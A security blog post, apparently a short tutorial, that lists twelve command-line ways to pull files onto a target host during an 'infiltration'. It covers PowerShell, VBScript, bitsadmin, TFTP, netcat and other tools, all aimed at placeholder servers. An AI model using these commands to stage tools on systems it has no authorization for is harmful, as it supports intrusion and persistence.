Skip to content
September 10, 2026
  • Bluesky
  • Facebook
  • Linkedin
  • Mastodon
  • RSS
  • Twitter
  • Youtube

Daily CyberSecurity

Zero-hour alerts. Unmatched analysis.

Primary Menu
  • Home
  • CVE Data
    • CVE Watchtower
    • Top Exploited CVEs
    • CVE Stats by Vendor
    • Q2 2026 Report
    • CVE Alerts
    • CVE Alert Settings
    • Pricing
  • Cyber Criminals
  • Data Leak
  • Linux
  • Malware
  • Vulnerability
  • Submit Press Release
  • Weekly Recap
Light/Dark Button
  • Home
  • Technique
  • 12 ways to download a file from webserver
  • Technique

12 ways to download a file from webserver

Do Son September 12, 2017 1 minute read
netcat

In our infiltration process, we usually need to send some files to the target host, to achieve the right to maintain, control and other purposes. This article will introduce 12 ways to download files.

  • PowerShell File

    $p = New-Object System.Net.WebClient
    
    $p.DownloadFile("http://domain/file" "C:\%homepath%\file")
    C:\>powershell set-executionpolicy unrestricted
    PS C:\> .\test.ps1
  • Visual Basic

    Set args = Wscript.Arguments
    
    Url = "http://domain/file"
    dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
    dim bStrm: Set bStrm = createobject("Adodb.Stream")
    xHttp.Open "GET", Url, False
    xHttp.Send
    with bStrm
    .type = 1 '
    .open
    .write xHttp.responseBody
    .savetofile " C:\%homepath%\file", 2 '
    end with

    C:>cscript test.vbs
  • Perl

    #!perl
    
    #!/usr/bin/perl
    use LWP::Simple;
    getstore("http://domain/file", "file");

    root@kali:~# perl test.pl
  • Python

    #!python
    
    #!/usr/bin/python
    import urllib2
    u = urllib2.urlopen('http://domain/file')
    localFile = open('local_file', 'w')
    localFile.write(u.read())
    localFile.close()

    root@kali:~# python test.py
  • Ruby

    #!ruby
    
    #!/usr/bin/ruby
    require 'net/http'
    Net::HTTP.start("www.domain.com") { |http|
    r = http.get("/file")
    open("save_location", "wb") { |file|
    file.write(r.body)
    }
    }
    root@kali:~# ruby test.rb
  • PHP

    #!/usr/bin/php
    
    <?php
    $data = @file("http://example.com/file");
    $lf = "local_file";
    $fh = fopen($lf, 'w');
    fwrite($fh, $data[0]);
    fclose($fh);
    ?>
    root@kali:~# php test.php
  • FTP

    ftp 127.0.0.1
    
    username
    password
    get file
    exit
  • TFTP

    tftp -i host GET C:\%homepath%\file location_of_file_on_tftp_server
  • Bitsadmin

    bitsadmin /transfer n http://domain/file c:\%homepath%\file
  • Wget

    wget http://example.com/file
  • Netcat

    cat file | nc -l 1234
    

    nc host_ip 1234 > file
  • Windows Share

    net use x: \\127.0.0.1\share /user:example.com\userID myPassword

 

SHARE
Share on FacebookShare on XShare on LinkedInShare on TelegramShare on BlueskyShare on Mastodon

Search

Translation

CVE ALERTS
📧

Email Delivery
Get threat intel straight to your inbox.

♾️

Unlimited Vendors
Track every technology in your stack.

🚨

All New CVE Alerts
Be the first to know about new flaws.

⚙️

Custom EPSS Threshold
Filter noise, focus on real risks.

💬

Slack & Teams Webhook
Integrate directly into your SecOps.

🚫

100% Ad-Free
Enjoy an uninterrupted reading experience.

$7/mo
Subscribe Now

🚨 Active Exploits in the Wild

  • CVE-2026-20079CVSS 10.0
    A vulnerability in the web interface of Cisco Secure Firewall Management Center (FMC) Software could allow an unauthenticated,...
    Admin intelCISA KEV📅 Added to KEV: Sep 9, 2026📅 Updated: Sep 9, 2026
  • CVE-2025-25249CVSS 8.1
    A heap-based buffer overflow vulnerability in Fortinet FortiOS 7.6.0 through 7.6.3, FortiOS 7.4.0 through 7.4.8, FortiOS 7.2.0 through...
    Admin intelCISA KEV📅 Added to KEV: Sep 9, 2026📅 Updated: Sep 9, 2026
  • CVE-2026-87491
    Out of bounds write in V8 in Google Chrome prior to 153.0.8010.36 allowed a remote attacker to execute...
    Admin intelCISA KEV📅 Added to KEV: Sep 9, 2026📅 Updated: Sep 9, 2026
  • CVE-2026-19490
    Vulnerability in NetScaler ADC and NetScaler Gateway. This issue affects ADC: from 14.1 through 73.32 and from 13.1...
    CISA KEV📅 Added to KEV: Sep 9, 2026
  • CVE-2026-75650CVSS 10.0
    Adobe Commerce is affected by an Improper Neutralization of Special Elements Used in a Template Engine vulnerability that...
    Admin intelCISA KEV📅 Added to KEV: Sep 8, 2026📅 Updated: Sep 8, 2026
  • CVE-2026-81963CVSS 7.8
    Improper link resolution before file access ('link following') in Windows Update Stack allows an authorized attacker to elevate...
    CISA KEV📅 Added to KEV: Sep 8, 2026
  • CVE-2026-85880CVSS 7.8
    Heap-based buffer overflow in Windows ALPC allows an authorized attacker to elevate privileges locally.
    CISA KEV📅 Added to KEV: Sep 8, 2026
  • CVE-2026-86218CVSS 10.0
    N-central is vulnerable to a pre-auth remote code execution This issue affects N-central: before 2026.3.1.14.
    Admin intelCISA KEV📅 Added to KEV: Sep 8, 2026📅 Updated: Sep 7, 2026
Powered by CVE Watchtower

🔴 Live Critical Threats

  • CVE-2026-9163CVSS 9.8
    Improper neutralization of special elements used in an SQL command ('SQL injection')...
  • CVE-2026-8323CVSS 9.3
    URL redirection to untrusted site ('open redirect') vulnerability in Armiya Information Technologies...
  • CVE-2026-88285CVSS 9.4
    GeoVision GV-LPC2211 V1.13 exposes a network-accessible PTZ control service without authentication, allowing...
  • CVE-2026-88278CVSS 9.8
    GeoVision GV-LPC2211 V1.13 fails to enforce WS-Security UsernameToken freshness or nonce reuse...
  • CVE-2026-44950CVSS 9.0
    fs_read_glyphs() in the libXfont2 font-server client (src/fc/fserve.c) copies each glyph's bitmap into...
  • CVE-2026-7188CVSS 9.8
    Improper neutralization of special elements used in an SQL command ('SQL injection')...
  • CVE-2026-59679CVSS 9.0
    fs_read_glyphs() in the libXfont2 font-server client (src/fc/fserve.c) indexes the per-character encoding[] array...
  • CVE-2026-19583CVSS 9.9
    Velociraptor allows some sensitive artifacts to be gated by additional permissions. For...
  • CVE-2026-18351CVSS 9.8
    The Drag and Drop File Upload for Elementor Forms plugin for WordPress...
  • CVE-2026-87931CVSS 9.6
    A vulnerability has been found in Behavioral Technology Group Pavlok Behavioral Conditioning...
Powered by CVE WATCHTOWER

Our Websites
  • Penetration Testing Tools
  • The Daily Information Technology
  • Top Exploited CVEs
  • Daily CyberSecurity

    • About SecurityOnline.info
    • Advertise with us
    • Announcement
    • Contact
    • Contributor Register
    • Login
    • Disclaimer
    • DCMA
    • Privacy Policy
    • About SecurityOnline.info
    • Advertise on SecurityOnline.info
    • Contact Us

    When you purchase through links on our site, we may earn an affiliate commission. Here’s how it works

    • CVE Watchtower
    • CVE Statistics by Vendor 2026
    • Q2 2026 Report
    • Top Exploited CVEs
    • Bluesky
    • Facebook
    • Linkedin
    • Mastodon
    • RSS
    • Twitter
    • Youtube
    © 2017 - 2026 Daily CyberSecurity. All Rights Reserved.